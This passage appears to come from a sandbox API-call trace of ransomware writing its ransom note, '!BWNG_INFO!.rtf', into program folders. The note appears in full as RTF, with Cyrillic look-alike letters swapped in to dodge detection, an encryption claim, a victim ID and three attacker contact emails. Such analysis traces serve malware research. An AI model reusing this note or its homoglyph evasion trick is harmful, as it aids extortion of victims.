v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.947] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.948] CloseHandle (hObject=0x1cc) returned 1 [0033.948] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\!bwng_info!.rtf")) returned 0xffffffff [0033.948] GetLastError () returned 0x2 [0033.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd 